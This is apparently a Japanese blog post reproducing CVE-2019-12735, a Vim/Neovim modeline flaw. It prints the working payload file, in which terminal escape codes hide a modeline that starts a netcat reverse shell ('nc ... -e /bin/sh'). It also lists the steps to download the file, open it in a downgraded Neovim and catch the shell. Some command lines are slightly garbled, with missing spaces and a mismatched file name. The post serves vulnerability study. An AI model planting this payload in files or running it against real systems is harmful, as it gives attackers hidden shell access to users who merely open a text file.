結構、簡単なハックでリモート接続が可能になる脆弱性があったので、試してみました。
対応するVimのバージョンなどは以下のとおりです。
Product: Vim < 8.1.1365, Neovim < 0.3.6
Type: Arbitrary Code Execution
CVE: CVE-2019-12735
Date: 2019-06-04
Author: Arminius (@rawsec)
Option: :set modeline(false)
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
vimはテキストファイルをsourceにしてコマンドを実行できます。それを悪用して、nc(netcat)
でサーバーを起動し、そこにアクセスします。
shell.txt
[?7lSNothing here.:silent! w | call system('nohup nc 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: [1G[KNothing here."[D
$ mkdir-p tmp
$ cd tmp
$ touch{1..2}$ sudo pacman -S neovim --noconfirm$ downgrade neovim
0.3.5
$ curl -sLO https://raw.githubusercontent.com/numirias/security/master/data/2019-06-04_ace-vim-neovim/shell.txt
$ nvim shell.ext
---------------$ nc -vlp 9999
ls
1
2
neovimの場合、成功するときとしない時がありました。何度かやってみるとできると思う。